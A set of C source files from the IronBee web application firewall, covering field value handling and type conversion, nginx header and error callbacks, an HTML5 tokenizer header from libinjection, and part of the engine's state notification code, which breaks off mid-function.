ib_stream_create((ib_stream_t **)f->val->pval, f->mm); if (rc != IB_OK) { goto failed; } } break; } case IB_FTYPE_NULSTR: { const char *s = (const char *)in_pval; if (s != NULL) { *(char **)(f->val->pval) = ib_mm_strdup(f->mm, s); if (*(void **)(f->val->pval) == NULL) { rc = IB_EALLOC; goto failed; } } break; } case IB_FTYPE_TIME: { ib_time_t n = (in_pval != NULL) ? *(ib_time_t *)in_pval : 0; *(ib_time_t *)(f->val->pval) = n; break; } case IB_FTYPE_NUM: { ib_num_t n = (in_pval != NULL) ? *(ib_num_t *)in_pval : 0; *(ib_num_t *)(f->val->pval) = n; break; } case IB_FTYPE_FLOAT: { ib_float_t fl = (in_pval != NULL) ? *(ib_float_t *)in_pval : 0; *(ib_float_t *)(f->val->pval) = fl; break; } case IB_FTYPE_GENERIC: default: { void *p = in_pval; *(void **)(f->val->pval) = p; break; } } ib_field_util_log_debug("FIELD_SETV", f); return IB_OK; failed: return rc; } ib_status_t ib_field_value_ex( const ib_field_t *f, void *out_pval, const void *arg, size_t alen ) { /* If there is not a stored value, then attempt to use the * fn_get call to retrieve the value. */ if (ib_field_is_dynamic(f)) { if (f->val->fn_get == NULL) { return IB_EINVAL; } return f->val->fn_get(f, out_pval, arg, alen, f->val->cbdata_get); } if (arg != NULL) { return IB_EINVAL; } switch (f->type) { case IB_FTYPE_TIME: { ib_time_t *n = (ib_time_t *)out_pval; *n = *(ib_time_t *)(f->val->pval); break; } case IB_FTYPE_NUM: { ib_num_t *n = (ib_num_t *)out_pval; *n = *(ib_num_t *)(f->val->pval); break; } case IB_FTYPE_FLOAT: { ib_float_t *fl = (ib_float_t *)out_pval; *fl = *(ib_float_t *)(f->val->pval); break; } default: *(void **)out_pval = *(void **)(f->val->pval); } return IB_OK; } ib_status_t ib_field_value_type_ex( const ib_field_t *f, void *out_pval, ib_ftype_t t, const void *arg, size_t alen ) { /* Compare the types */ if (f->type != t) { return IB_EINVAL; } /* Return the value as normal. */ return ib_field_value_ex(f, out_pval, arg, alen); } ib_status_t ib_field_value( const ib_field_t *f, void *out_pval ) { return ib_field_value_ex(f, out_pval, NULL, 0); } ib_status_t ib_field_value_type( const ib_field_t *f, void *out_pval, ib_ftype_t t ) { ib_status_t rc; /* Compare the types */ if (f->type != t) { return IB_EINVAL; } /* Return the value as normal. */ rc = ib_field_value(f, out_pval); return rc; } ib_status_t ib_field_mutable_value( ib_field_t *f, void *mutable_out_pval ) { if (ib_field_is_dynamic(f)) { return IB_EINVAL; } if (f->val->pval == NULL) { return IB_ENOENT; } switch(f->type) { case IB_FTYPE_NUM: case IB_FTYPE_FLOAT: case IB_FTYPE_TIME: *(void**)mutable_out_pval = f->val->pval; break; default: *(void**)mutable_out_pval = *(void **)f->val->pval; } return IB_OK; } ib_status_t ib_field_mutable_value_type( ib_field_t *f, void *mutable_out_pval, ib_ftype_t t ) { ib_status_t rc; /* Compare the types */ if (f->type != t) { return IB_EINVAL; } /* Return the value as normal. */ rc = ib_field_mutable_value(f, mutable_out_pval); return rc; } int ib_field_is_dynamic(const ib_field_t *f) { return f->val->pval == NULL ? 1 : 0; } ib_status_t ib_field_convert( ib_mm_t mm, const ib_ftype_t desired_type, const ib_field_t *in_field, ib_field_t **out_field ) { assert(in_field != NULL); ib_status_t rc; /* Holder values for in_field values before being set in out_field. */ size_t sz; const char *str; const ib_bytestr_t *bstr; ib_num_t num; ib_time_t tme; ib_float_t flt; void *new_field_value; if (in_field->type == desired_type) { *out_field = NULL; return IB_OK; } switch (in_field->type) { case IB_FTYPE_NULSTR: /* Extract string. Note that a zero-length nulstr field can * have a NULL value in the union. */ if ( (in_field->val->u.nulstr == NULL) && (in_field->val->pval == NULL) ) { str = ""; } else { rc = ib_field_value(in_field, ib_ftype_nulstr_out(&str)); if (rc != IB_OK){ return rc; } } switch (desired_type) { case IB_FTYPE_BYTESTR: rc = ib_bytestr_dup_nulstr((ib_bytestr_t **)&bstr, mm, str); if (rc != IB_OK) { return rc; } new_field_value = ib_ftype_bytestr_in(bstr); break; case IB_FTYPE_TIME: rc = ib_string_to_time(str, &tme); if (rc != IB_OK) { return rc; } new_field_value = ib_ftype_time_in(&tme); break; case IB_FTYPE_NUM: rc = ib_string_to_num(str, 0, &num); if (rc != IB_OK) { return rc; } new_field_value = ib_ftype_num_in(&num); break; case IB_FTYPE_FLOAT: rc = ib_string_to_float(str, &flt); if (rc != IB_OK) { return rc; } new_field_value = ib_ftype_float_in(&flt); break; default: return IB_EINVAL; } break; case IB_FTYPE_BYTESTR: /* Extract bytestr. */ rc = ib_field_value(in_field, ib_ftype_bytestr_out(&bstr)); if (rc != IB_OK){ return rc; } str = (const char *)ib_bytestr_const_ptr(bstr); sz = ib_bytestr_length(bstr); /* Convert byte str. */ switch(desired_type) { case IB_FTYPE_NULSTR: str = ib_mm_memdup_to_str(mm, str, sz); if (!str) { return rc; } new_field_value = ib_ftype_nulstr_in(str); break; case IB_FTYPE_TIME: rc = ib_string_to_time_ex(str, sz, &tme); if (rc != IB_OK) { return rc; } new_field_value = ib_ftype_time_in(&tme); break; case IB_FTYPE_NUM: rc = ib_string_to_num_ex(str, sz, 0, &num); if (rc != IB_OK) { return rc; } new_field_value = ib_ftype_num_in(&num); break; case IB_FTYPE_FLOAT: rc = ib_string_to_float_ex(str, sz, &flt); if (rc != IB_OK) { return rc; } new_field_value = ib_ftype_float_in(&flt); break; default: return IB_EINVAL; } break; case IB_FTYPE_TIME: /* Extract time. */ rc = ib_field_value(in_field, ib_ftype_time_out(&tme)); if (rc != IB_OK){ return rc; } switch (desired_type) { case IB_FTYPE_NULSTR: str = ib_time_to_string(mm, tme); if (! str) { return IB_EINVAL; } new_field_value = ib_ftype_nulstr_in(str); break; case IB_FTYPE_BYTESTR: str = ib_time_to_string(mm, tme); if (! str) { return IB_EINVAL; } rc = ib_bytestr_dup_nulstr((ib_bytestr_t **)&bstr, mm, str); if (rc != IB_OK){ return rc; } new_field_value = ib_ftype_bytestr_in(bstr); break; case IB_FTYPE_FLOAT: flt = (ib_float_t)tme; /* Check that our assignment is within error=1, or fail. */ if (llabs((long long)(tme - flt)) > 1) { return IB_EINVAL; } new_field_value = ib_ftype_float_in(&flt); break; default: return IB_EINVAL; } break; case IB_FTYPE_NUM: /* Extract unum. */ rc = ib_field_value(in_field, ib_ftype_num_out(&num)); if (rc != IB_OK){ return rc; } switch (desired_type) { case IB_FTYPE_NULSTR: str = ib_num_to_string(mm, num); if (! str) { return IB_EINVAL; } new_field_value = ib_ftype_nulstr_in(str); break; case IB_FTYPE_BYTESTR: str = ib_num_to_string(mm, num); if (! str) { return IB_EINVAL; } rc = ib_bytestr_dup_nulstr((ib_bytestr_t **)&bstr, mm, str); if (rc != IB_OK){ return rc; } new_field_value = ib_ftype_bytestr_in(bstr); break; case IB_FTYPE_TIME: if (num < 0) { return IB_EINVAL; } tme = (ib_time_t)num; new_field_value = ib_ftype_time_in(&tme); break; case IB_FTYPE_FLOAT: flt = (ib_float_t)num; if (llabs((long long)(flt - num)) > 1) { return IB_EINVAL; } new_field_value = ib_ftype_float_in(&flt); break; default: return IB_EINVAL; } break; case IB_FTYPE_FLOAT: /* Extract unum. */ rc = ib_field_value(in_field, ib_ftype_float_out(&flt)); if (rc != IB_OK){ return rc; } switch (desired_type) { case IB_FTYPE_NULSTR: str = ib_float_to_string(mm, flt); if (!str) { return IB_EINVAL; } new_field_value = ib_ftype_nulstr_in(str); break; case IB_FTYPE_BYTESTR: str = ib_float_to_string(mm, flt); if (!str) { return IB_EINVAL; } rc = ib_bytestr_dup_nulstr((ib_bytestr_t **)&bstr, mm, str); if (rc != IB_OK){ return rc; } new_field_value = ib_ftype_bytestr_in(bstr); break; case IB_FTYPE_TIME: if (flt < 0) { return IB_EINVAL; } tme = (ib_float_t)flt; new_field_value = ib_ftype_time_in(&tme); break; case IB_FTYPE_NUM: num = (ib_float_t)flt; new_field_value = ib_ftype_num_in(&num); break; default: return IB_EINVAL; } break; default: return IB_EINVAL; } rc = ib_field_create( out_field, mm, in_field->name, in_field->nlen, desired_type, new_field_value ); return rc; }
crustymonkey/ironbee
servers/nginx/ngx_ironbee_plugin.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- nginx 1.3 module * * @author <NAME> <<EMAIL>> - ironbee plugin and callbacks */ #include "ngx_ironbee.h" #include <assert.h> /** * Function to add a new header to a list. Any existing entry * of the same name is ignored and remains intact. Note that this * only affects headers transmitted to a backend or client: where * a 'real' header affects nginx internally, this will do nothing. * * @param[in] list the list to add to * @param[in] entry the name of the entry to add * @param[in] val the value to set it to */ static void list_add(ngx_list_t *list, const char *entry, const char *val) { ngx_table_elt_t *elt = ngx_list_push(list); assert(elt != NULL); elt->key.len = strlen(entry); elt->key.data = ngx_palloc(list->pool, elt->key.len); memcpy(elt->key.data, entry, elt->key.len); elt->value.len = strlen(val); elt->value.data = ngx_palloc(list->pool, elt->value.len); memcpy(elt->value.data, val, elt->value.len); } /** * Function to unset a header in a list. This will not remove the * entry altogether, but will instead set the value to empty. * * @param[in] list the list to add to * @param[in] entry the name of the entry to empty */ static void list_unset(ngx_list_t *list, const char *entry) { ngx_list_part_t *part; ngx_table_elt_t *elt; unsigned int i; for (part = &list->part; part; part = part->next) { elt = part->elts; for (i = 0; i < part->nelts; ++i) { #if 1 if (elt[i].key.len == strlen(entry) && !strncasecmp((const char*)elt[i].key.data, entry, elt[i].key.len)) { /* This is a match. Remove it */ elt[i].value.len = 0; /* just clobber the value? */ #else while (elt[i].key.len == strlen(entry) && !strcasecmp(elt[i].key.data, entry, elt[i].key.len)) { /* This is a match. Remove it */ /* Remove altogether, and do lots of housekeeping */ memcpy(elt[--part->nelts], elt[i], sizeof(...)); /* This is useless: it'll leave dangling pointers elsewhere */ #endif } } if (part == list->last) break; } } /** * Function to set a header in a list. Any existing entry * of the same name will be overwritten, causing the new value to * be used if the header affects nginx internally. * * @param[in] list the list to add to * @param[in] entry the name of the entry to add * @param[in] val the value to set it to */ static void list_set(ngx_list_t *list, const char *entry, const char *val) { ngx_list_part_t *part; ngx_table_elt_t *elt; unsigned int i; int found = 0; unsigned int vlen = strlen(val); for (part = &list->part; part; part = part->next) { elt = part->elts; for (i = 0; i < part->nelts; ++i) { if (elt[i].key.len == strlen(entry) && !strncasecmp((const char*)elt[i].key.data, entry, elt[i].key.len)) { /* This is a match. Remove it */ if (elt[i].value.len > vlen) { elt[i].value.data = ngx_palloc(list->pool, vlen); } elt[i].value.len = vlen; /* just clobber the value? */ memcpy(elt[i].value.data, val, vlen); ++found; } } if (part == list->last) break; } if (!found) list_add(list, entry, val); } /** * Function to append a header in a list. Any existing entry * of the same name will be overwritten by appending the new value * to the old-value in a comma-separated list. * * @param[in] list the list to add to * @param[in] entry the name of the entry to add * @param[in] val the value to set it to */ static void list_append(ngx_list_t *list, const char *entry, const char *val) { ngx_list_part_t *part; ngx_table_elt_t *elt; unsigned int i; int found = 0; unsigned int vlen = strlen(val); for (part = &list->part; part && !found; part = part->next) { elt = part->elts; for (i = 0; i < part->nelts && !found; ++i) { if (elt[i].key.len == strlen(entry) && !strncasecmp((const char*)elt[i].key.data, entry, elt[i].key.len)) { unsigned int oldlen = elt[i].value.len; const unsigned char *oldval = elt[i].value.data; elt[i].value.len += vlen+1; elt[i].value.data = ngx_palloc(list->pool, elt[i].value.len); elt[i].value.len = vlen; /* just clobber the value? */ memcpy(elt[i].value.data, oldval, oldlen); elt[i].value.data[oldlen] = ','; memcpy(elt[i].value.data+oldlen+1, val, vlen); ++found; } } if (part == list->last) break; } if (!found) list_add(list, entry, val); } /** * IronBee callback function to manipulate an HTTP header * * @param[in] tx - IronBee transaction * @param[in] dir - Request/Response * @param[in] action - Requested header manipulation * @param[in] hdr - Header * @param[in] value - Header Value * @param[in] rx - Compiled regexp of value (if applicable) * @return status (OK, Declined if called too late, Error if called with * invalid data). NOTIMPL should never happen. */ static ib_status_t ib_header_callback(ib_tx_t *tx, ib_server_direction_t dir, ib_server_header_action_t action, const char *hdr, size_t hdr_len, const char *value, size_t value_len, void *cbdata) { /* This is more complex for nginx than for other servers because * headers_in and headers_out are different structs, and there * are lots of enumerated headers to watch out for. * * It appears the enumerated headers are in fact just pointers * into the generic lists. So with luck it should be sufficient * to deal with just the lists. Revisit if we seem to get * unexpected failures in manipulating headers. * * That won't work for setting/unsetting a header altogether. * It's no use if we set the list but leave the enumerated * pointers uninitialized or dangling. */ ngxib_req_ctx *ctx = tx->sctx; /* the headers list is common between request and response */ ngx_list_t *headers = (dir == IB_SERVER_REQUEST) ? &ctx->r->headers_in.headers : &ctx->r->headers_out.headers; if (ctx->hdrs_out || (ctx->hdrs_in && (dir == IB_SERVER_REQUEST))) return IB_DECLINED; /* too late for requested op */ switch (action) { case IB_HDR_SET: list_set(headers, hdr, value); return IB_OK; case IB_HDR_UNSET: list_unset(headers, hdr); return IB_OK; case IB_HDR_ADD: list_add(headers, hdr, value); return IB_OK; case IB_HDR_MERGE: case IB_HDR_APPEND: list_append(headers, hdr, value); return IB_OK; } return IB_ENOTIMPL; } /** * IronBee callback function to set an HTTP error status. * This will divert processing into an ErrorDocument for the status. * * @param[in] tx - IronBee transaction * @param[in] status - Status to set * @return OK, or Declined if called too late. NOTIMPL should never happen. */ static ib_status_t ib_error_callback(ib_tx_t *tx, int status, void *cbdata) { ngxib_req_ctx *ctx = tx->sctx; if (status >= 200 && status < 600) { if (ctx->status >= 200 && ctx->status < 600) { ib_log_notice_tx(tx, "Ignoring: status already set to %d", ctx->status); return IB_OK; } if (ctx->start_response) { ib_log_notice_tx(tx, "Too late to change status=%d", status); return IB_DECLINED; } ib_log_info_tx(tx, "Setting status: %d -> %d", ctx->status, status); ctx->status = status; return IB_OK; } return IB_ENOTIMPL; } /** * IronBee callback function to set an HTTP header for an ErrorDocument. * * @param[in] tx - IronBee transaction * @param[in] hdr - Header to set * @param[in] val - Value to set * @return Not Implemented, or error. */ static ib_status_t ib_errhdr_callback(ib_tx_t *tx, const char *hdr, size_t hdr_len, const char *val, size_t val_len, void *cbdata) { ngxib_req_ctx *ctx = tx->sctx; if (ctx->start_response) return IB_DECLINED; if (!hdr || !val) return IB_EINVAL; return IB_ENOTIMPL; } /** * IronBee callback function to set an ErrorDocument * Since httpd has its own internal ErrorDocument mechanism, * we use that for the time being and leave this NOTIMPL * * TODO: think about something along the lines of mod_choice's errordoc. * * @param[in] tx IronBee transaction * @param[in] data Data to set * @param[in] dlen Length of @a data to set. * @return NOTIMPL, or Declined if called too late, or EINVAL. */ static ib_status_t ib_errdata_callback( ib_tx_t *tx, const char *data, size_t dlen, void *cbdata) { ngxib_req_ctx *ctx = tx->sctx; if (ctx->start_response) return IB_DECLINED; if (!data) return IB_EINVAL; /* Maybe implement something here? ctx->errdata = apr_pstrdup(ctx->r->pool, data); return IB_OK; */ return IB_ENOTIMPL; } static ib_status_t ib_errclose_callback( ib_conn_t *conn, ib_tx_t *tx, void *cbdata) { ib_log_error(conn->ib, "Block by close not implemented."); return IB_ENOTIMPL; } static ib_status_t ib_streamedit_callback( ib_tx_t *tx, ib_server_direction_t dir, off_t start, size_t bytes, const char *repl, size_t repl_len, void *dummy ) { return IB_ENOTIMPL; } /** * IronBee callback function to return the ib_server instance for nginx * * @return pointer to the ib_server instance for nginx */ ib_server_t *ib_plugin(void) { static ib_server_t ibplugin = { IB_SERVER_HEADER_DEFAULTS, "nginx-ironbee", ib_header_callback, NULL, ib_error_callback, NULL, ib_errhdr_callback, NULL, ib_errdata_callback, NULL, ib_errclose_callback, NULL, ib_streamedit_callback, NULL }; return &ibplugin; }
crustymonkey/ironbee
libs/libinjection/c/libinjection_html5.h
#ifndef LIBINJECTION_HTML5 #define LIBINJECTION_HTML5 #ifdef __cplusplus extern "C" { #endif /* pull in size_t */ #include <strings.h> enum html5_type { DATA_TEXT , TAG_NAME_OPEN , TAG_NAME_CLOSE , TAG_NAME_SELFCLOSE , TAG_DATA , TAG_CLOSE , ATTR_NAME , ATTR_VALUE , TAG_COMMENT , DOCTYPE }; struct h5_state; typedef int (*ptr_html5_state)(struct h5_state*); typedef struct h5_state { const char* s; size_t len; size_t pos; int is_close; ptr_html5_state state; const char* token_start; size_t token_len; enum html5_type token_type; } h5_state_t; void libinjection_h5_init(h5_state_t* hs, const char* s, size_t len, int flags); int libinjection_h5_next(h5_state_t* hs); #ifdef __cplusplus } #endif #endif
crustymonkey/ironbee
engine/state_notify.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- State Notification Implementation */ #include "ironbee_config_auto.h" #include <ironbee/state_notify.h> #include "state_notify_private.h" #include "engine_private.h" #include <ironbee/context.h> #include <ironbee/dso.h> #include <ironbee/engine.h> #include <ironbee/engine_state.h> #include <ironbee/field.h> #include <ironbee/flags.h> #include <ironbee/log.h> #include <ironbee/mm_mpool_lite.h> #include <assert.h> /** * Generate and log a message about a hook function returning an error. * * An error is any return value that is not IB_OK or IB_DECLINED. * * @param[in] ib The engine to log through. * @param[in] state The state being processed. * @param[in] hook_rc The return code signaling the failure. * @param[in] hook_fn A pointer to the callback hook. This will * be resolved to a symbol, if possible. * */ static void log_hook_failure( ib_engine_t *ib, ib_state_t state, ib_status_t hook_rc, void *hook_fn ) { const char *hook_file = NULL; const char *hook_symbol = NULL; ib_status_t rc; ib_mpool_lite_t *mp = NULL; ib_mm_t mm; /* Construct memory pool. */ rc = ib_mpool_lite_create(&mp); if (rc != IB_OK) { goto no_mm_log; } mm = ib_mm_mpool_lite(mp); rc = ib_dso_sym_name_find(&hook_file, &hook_symbol, mm, hook_fn); if (rc != IB_OK) { hook_file = "[unavailable]"; hook_symbol = "[unavailable]"; } if (hook_file == NULL) { hook_file = ""; } if (hook_symbol == NULL) { hook_symbol = ""; } ib_log_notice( ib, "Hook %s from %s failed during state %s: %s", hook_symbol, hook_file, ib_state_name(state), ib_status_to_string(rc) ); ib_mpool_lite_destroy(mp); return; no_mm_log: ib_log_notice( ib, "Hook failed during state %s: %s", ib_state_name(state), ib_status_to_string(rc) ); } static ib_status_t ib_state_notify_null( ib_engine_t *ib, ib_state_t state ) { assert(ib != NULL); const ib_list_node_t *node; ib_status_t rc = ib_hook_check(ib, state, IB_STATE_HOOK_NULL); if (rc != IB_OK) { ib_log_error(ib, "Error checking hook for \"%s\": %s", ib_state_name(state), ib_status_to_string(rc)); return rc; } ib_log_debug3(ib, "NULL EVENT: %s", ib_state_name(state)); IB_LIST_LOOP_CONST(ib->hooks[state], node) { const ib_hook_t *hook = (const ib_hook_t *)node->data; rc = hook->callback.null(ib, state, hook->cbdata); if (rc == IB_DECLINED) { ib_log_debug(ib, "Hook declined: %s", ib_state_name(state)); } else if (rc != IB_OK) { log_hook_failure(ib, state, rc, hook->callback.null); return rc; } } return IB_OK; } static ib_status_t ib_state_notify_context( ib_engine_t *ib, ib_context_t *ctx, ib_state_t state ) { assert(ib != NULL); assert(ctx != NULL); const ib_list_node_t *node; ib_status_t rc = ib_hook_check(ib, state, IB_STATE_HOOK_CTX); if (rc != IB_OK) { ib_log_error(ib, "Error checking hook for \"%s\": %s", ib_state_name(state), ib_status_to_string(rc)); return rc; } ib_log_debug3(ib, "CTX EVENT: %s", ib_state_name(state)); IB_LIST_LOOP_CONST(ib->hooks[state], node) { const ib_hook_t *hook = (const ib_hook_t *)node->data; rc = hook->callback.ctx(ib, ctx, state, hook->cbdata); if (rc == IB_DECLINED) { ib_log_debug(ib, "Hook declined: %s", ib_state_name(state)); } else if (rc != IB_OK) { log_hook_failure(ib, state, rc, hook->callback.ctx); return rc; } } return IB_OK; } static ib_status_t ib_state_notify_conn( ib_engine_t *ib, ib_conn_t *conn, ib_state_t state ) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(conn != NULL); const ib_list_node_t *node; ib_status_t rc = ib_hook_check(ib, state, IB_STATE_HOOK_CONN); if (rc != IB_OK) { ib_log_error(ib, "Error checking hook for \"%s\": %s", ib_state_name(state), ib_status_to_string(rc)); return rc; } ib_log_debug3(ib, "CONN EVENT: %s", ib_state_name(state)); if (conn->ctx == NULL) { ib_log_notice(ib, "Connection context is null."); } IB_LIST_LOOP_CONST(ib->hooks[state], node) { const ib_hook_t *hook = (const ib_hook_t *)node->data; rc = hook->callback.conn(ib, conn, state, hook->cbdata); if (rc == IB_DECLINED) { ib_log_debug(ib, "Hook declined: %s", ib_state_name(state)); } else if (rc != IB_OK) { log_hook_failure(ib, state, rc, hook->callback.conn); } } return IB_OK; } static ib_status_t ib_state_notify_req_line( ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, ib_parsed_req_line_t *line ) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); assert(line != NULL); assert(line->raw != NULL); assert(line->method != NULL); assert(line->uri != NULL); assert(line->protocol != NULL); const ib_list_node_t *node; ib_status_t rc; rc = ib_hook_check(ib, state, IB_STATE_HOOK_REQLINE); if (rc != IB_OK) { ib_log_error_tx(tx, "Error checking hook for \"%s\": %s", ib_state_name(state), ib_status_to_string(rc)); return rc; } /* Is this a HTTP/0.9 request (has no protocol specification)? */ if (ib_bytestr_length(line->protocol) == 0) { ib_tx_flags_set(tx, IB_TX_FHTTP09); } tx->request_line = line; if (tx->ctx == NULL) { ib_log_notice_tx(tx, "Connection context is null."); } IB_LIST_LOOP_CONST(ib->hooks[state], node) { const ib_hook_t *hook = (const ib_hook_t *)node->data; rc = hook->callback.requestline(ib, tx, state, line, hook->cbdata); if (rc == IB_DECLINED) { ib_log_debug_tx(tx, "Hook declined: %s", ib_state_name(state)); } else if (rc != IB_OK) { log_hook_failure(ib, state, rc, hook->callback.requestline); } } return IB_OK; } static ib_status_t ib_state_notify_resp_line(ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, ib_parsed_resp_line_t *line) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); assert((line == NULL) || (line->raw != NULL)); assert((line == NULL) || (line->protocol != NULL)); assert((line == NULL) || (line->status != NULL)); assert((line == NULL) || (line->msg != NULL)); const ib_list_node_t *node; ib_status_t rc; rc = ib_hook_check(ib, state, IB_STATE_HOOK_RESPLINE); if (rc != IB_OK) { ib_log_error_tx(tx, "Error checking hook for \"%s\": %s", ib_state_name(state), ib_status_to_string(rc)); return rc; } /* Validate response line data. * * The response line may be NULL only for HTTP/0.9 requests * which contain neither a line nor headers. */ if ((line == NULL) && !ib_flags_all(tx->flags, IB_TX_FHTTP09)) { ib_log_notice_tx(tx, "Invalid response line."); return IB_OK; } tx->response_line = line; if (tx->ctx == NULL) { ib_log_notice_tx(tx, "Connection context is null."); } IB_LIST_LOOP_CONST(ib->hooks[state], node) { const ib_hook_t *hook = (const ib_hook_t *)node->data; rc = hook->callback.responseline(ib, tx, state, line, hook->cbdata); if (rc == IB_DECLINED) { ib_log_debug_tx(tx, "Hook declined: %s", ib_state_name(state)); } else if (rc != IB_OK) { log_hook_failure(ib, state, rc, hook->callback.responseline); } } return IB_OK; } static ib_status_t ib_state_notify_tx(ib_engine_t *ib, ib_state_t state, ib_tx_t *tx) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); const ib_list_node_t *node; ib_status_t rc = ib_hook_check(ib, state, IB_STATE_HOOK_TX); if (rc != IB_OK) { return rc; } ib_log_debug3_tx(tx, "TX EVENT: %s", ib_state_name(state)); /* This transaction is now the current (for pipelined). */ tx->conn->tx = tx; if (tx->ctx == NULL) { ib_log_notice_tx(tx, "Connection context is null."); } IB_LIST_LOOP_CONST(ib->hooks[state], node) { const ib_hook_t *hook = (const ib_hook_t *)node->data; rc = hook->callback.tx(ib, tx, state, hook->cbdata); if (rc == IB_DECLINED) { ib_log_debug_tx(tx, "Hook declined: %s", ib_state_name(state)); } else if (rc != IB_OK) { log_hook_failure(ib, state, rc, hook->callback.tx); } } return IB_OK; } ib_status_t ib_state_notify_request_started( ib_engine_t *ib, ib_tx_t *tx, ib_parsed_req_line_t *line) { assert(ib != NULL); assert(tx != NULL); ib_status_t rc; /* Validate. */ if (ib_flags_all(tx->flags, IB_TX_FREQ_STARTED)) { ib_log_error_tx(tx, "Attempted to notify previously notified state: %s", ib_state_name(request_started_state)); return IB_EINVAL; } /* Mark the time. */ tx->t.request_started = ib_clock_get_time(); ib_tx_flags_set(tx, IB_TX_FREQ_STARTED); /* Notify everybody */ rc = ib_state_notify_tx(ib, tx_started_state, tx); if (rc != IB_OK) { return rc; } /* Notify the request line if it's present */ if (line == NULL) { ib_log_info_tx(tx, "Request started with no line."); } else if ( (line->raw == NULL) || (line->method == NULL) || (line->uri == NULL) || (line->protocol == NULL) ) { ib_log_error_tx(tx, "Request started with malformed line."); return IB_EINVAL; } else { ib_tx_flags_set(tx, IB_TX_FREQ_HAS_DATA); rc = ib_state_notify_req_line(ib, tx, request_started_state, line); if (rc != IB_OK) { return rc; } ib_tx_flags_set(tx, IB_TX_FREQ_LINE); } return IB_OK; } ib_status_t ib_state_notify_conn_opened(ib_engine_t *ib, ib_conn_t *conn) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(conn != NULL); ib_status_t rc; /* Validate. */ if (ib_flags_all(conn->flags, IB_CONN_FOPENED)) { ib_log_error(ib, "Attempted to notify previously notified state: %s", ib_state_name(conn_opened_state)); return IB_EINVAL; } ib_flags_set(conn->flags, IB_CONN_FOPENED); rc = ib_state_notify_conn(ib, conn, conn_started_state); if (rc != IB_OK) { return rc; } rc = ib_state_notify_conn(ib, conn, conn_opened_state); if (rc != IB_OK) { return rc; } /* Select the connection context to use. */ rc = ib_ctxsel_select_context(ib, conn, NULL, &conn->ctx); if (rc != IB_OK) { return rc; } rc = ib_state_notify_conn(ib, conn, handle_context_conn_state); if (rc != IB_OK) { return rc; } rc = ib_state_notify_conn(ib, conn, handle_connect_state); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_state_notify_conn_closed(ib_engine_t *ib, ib_conn_t *conn) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(conn != NULL); ib_status_t rc; /* Validate. */ if (! ib_flags_all(conn->flags, IB_CONN_FOPENED)) { ib_log_error(ib, "No connection opened: Ignoring %s", ib_state_name(conn_closed_state)); return IB_EINVAL; } if (ib_flags_all(conn->flags, IB_CONN_FCLOSED)) { ib_log_error(ib, "Attempted to notify previously notified state: %s", ib_state_name(conn_closed_state)); return IB_EINVAL; } /* Notify any pending transaction states on connection close state. */ if (conn->tx != NULL) { ib_tx_t *tx = conn->tx; if ( ib_flags_all(tx->flags, IB_TX_FREQ_STARTED) && !ib_flags_all(tx->flags, IB_TX_FREQ_FINISHED)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(request_finished_state)); ib_state_notify_request_finished(ib, tx); } if ( ib_flags_all(tx->flags, IB_TX_FREQ_STARTED) && !ib_flags_all(tx->flags, IB_TX_FRES_STARTED)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(response_started_state)); ib_state_notify_response_started(ib, tx, NULL); } if ( ib_flags_all(tx->flags, IB_TX_FRES_STARTED) && !ib_flags_all(tx->flags, IB_TX_FRES_FINISHED)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(response_finished_state)); ib_state_notify_response_finished(ib, tx); } if (!ib_flags_all(tx->flags, IB_TX_FPOSTPROCESS)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(handle_postprocess_state)); ib_state_notify_postprocess(ib, tx); } if (!ib_flags_all(tx->flags, IB_TX_FLOGGING)) { ib_log_debug_tx(tx, "Automatically triggering %s", ib_state_name(handle_logging_state)); ib_state_notify_logging(ib, tx); } } /* Mark the time. */ conn->t.finished = ib_clock_get_time(); ib_flags_set(conn->flags, IB_CONN_FCLOSED); rc = ib_state_notify_conn(ib, conn, conn_closed_state); if (rc != IB_OK) { return rc; } rc = ib_state_notify_conn(ib, conn, handle_disconnect_state); if (rc != IB_OK) { return rc; } rc = ib_state_notify_conn(ib, conn, conn_finished_state); if (rc != IB_OK) { return rc; } return IB_OK; } static ib_status_t ib_state_notify_header_data(ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, ib_parsed_headers_t *header) { assert(ib != NULL); assert(ib->cfg_state == CFG_FINISHED); assert(tx != NULL); assert(header != NULL); const ib_list_node_t *node; ib_status_t rc = ib_hook_check(ib, state, IB_STATE_HOOK_HEADER); if (rc != IB_OK) { ib_log_error_tx(tx, "Error checking hook for \"%s\": %s", ib_state_name(state), ib_status_to_string(rc)); return rc; } ib_log_debug3_tx(tx, "HEADER EVENT: %s", ib_state_name(state)); if (tx->ctx == NULL) { ib_log_notice_tx(tx, "Connection context is null."); } 